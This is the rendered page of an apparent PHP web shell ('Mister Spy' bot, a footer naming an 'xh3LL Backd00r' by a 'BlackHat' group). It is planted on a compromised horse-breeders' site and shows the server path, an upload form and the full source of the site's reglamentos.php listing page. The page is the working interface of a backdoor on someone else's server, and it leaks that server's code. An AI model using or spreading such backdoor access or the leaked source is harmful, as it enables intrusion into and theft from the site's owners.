Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/web/
Upload File :
Current File : /home/caballoscriollos/www/web/reglamentos.php

<?php
require_once('inc_library.php');

$IdCategoria    = 11;//intval($_REQUEST['IdCategoria']);
$Page           = intval($_REQUEST['Page']);
$IdColumnista   = intval($_REQUEST['Prueba']);
$query			= strval($_REQUEST['query']);
$PageSize       = 21;

$oNoticias      = new Noticias();
$oCategorias    = new Categorias();
$oColumnistas	= new Columnistas();

$oCategoria = $oCategorias->GetById($IdCategoria);
$oPage      = new Page($Page, $PageSize);


$filter = array('IdCategoria' => $IdCategoria, 'IdColumnista' => $IdColumnista, 'Libre' => $query);

$oColumnista = null;
if ($IdColumnista) {
	$oColumnista = $oColumnistas->GetById($IdColumnista);
}

$Paginado   = Pageable::PrintPaginatorFront($oPage, $oNoticias->GetCountRows($filter), true);
$arrData    = $oNoticias->GetAllOrderByColumnista($filter, $oPage, false, false);
$arrCategorias = $oCategorias->GetByIdTipo(2);

?>
<!DOCTYPE html>
<html lang="en">
	<?php include("ssi_head.php"); ?>
	<body class="custom-cursor">
		<div class="preloader">
			<div class="preloader__image"></div>
		</div>
		<div class="page-wrapper">
			<?php include("ssi_header.php"); ?>
			<!--Page Header Start-->
			<section class="page-header">
				<div class="page-header__bg" style="background-image: url(assets/images/backgrounds/bg_formularios.jpg);"></div>
				<div class="container">
					<div class="page-header__inner">
						<h2>Reglamentos <?= $oColumnista ? utf8_encode($oColumnista->Nombre) : '' ?></h2>
						<ul class="thm-breadcrumb list-unstyled">
							<li><a href="index.php">Home</a></li>
							<li><span class="icon-down-arrow"></span></li>
							<li>Reglamentos <?= $oColumnista ? utf8_encode($oColumnista->Nombre) : '' ?></li>
						</ul>
					</div>
				</div>
			</section>
			<!--Page Header End-->			
			<!--Services One Start -->
			<section class="services-one" id="services">
				<div class="container">
					<div class="row">
						<?php
						foreach ($arrData as $oNoticia) {
						?>
						<div class="col-xl-4 col-lg-6 col-md-6 wow fadeInLeft" data-wow-delay="100ms">
							<div class="services-one__single">
								<div class="services-one__single-hover-bg"
									style="background-image: url(assets/images/bg_form.png);"></div>
								<div class="services-one__content">
									<p class="services-one__text services-one__read-more mb-0">
										<a href="noticias_detalle.php?IdNoticia=<?= $oNoticia->IdNoticia ?>" target=“_blank”"><i class="fa fa-calendar mr-10"></i> <?= CambiarFecha($oNoticia->Fecha) ?></a>
									</p>
									<a href="noticias_detalle.php?IdNoticia=<?= $oNoticia->IdNoticia ?>"><h3 class="services-one__title"><?= $oNoticia->Titulo ?></a></h3>
								</div>
							</div>
						</div>
						<?php
						}
						?>																												

					</div>
			        <div class="portfolio-page__pagination">
			            <ul class="pg-pagination list-unstyled">
			                <?= $Paginado ?>
			            </ul>
			        </div>
				</div>
			</section>
			<!--Services One End -->			
			<?php include("ssi_logos.php"); ?>  
			<?php include("ssi_footer.php"); ?>  

		</div><!-- /.page-wrapper -->
		<?php include("ssi_mobile.php"); ?>  
		<?php include("ssi_search.php"); ?>  
		<?php include("ssi_scripts.php"); ?>   
        
        <form name="frmData" id="frmData" method="post">
            <input type="hidden" name="Page" id="Page" value="<?=$Page?>" />
            <input type="hidden" name="Prueba" id="Prueba" value="<?=$IdColumnista?>" />
        </form>
        <script type="text/javascript">
        
        function SetPage(Page)
        {
            var frmData = document.getElementById('frmData');
    
            if (frmData == undefined)
                return false;

            frmData.Page.value = Page;      
            frmData.submit();
        }
        </script>     
	</body>
</html>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat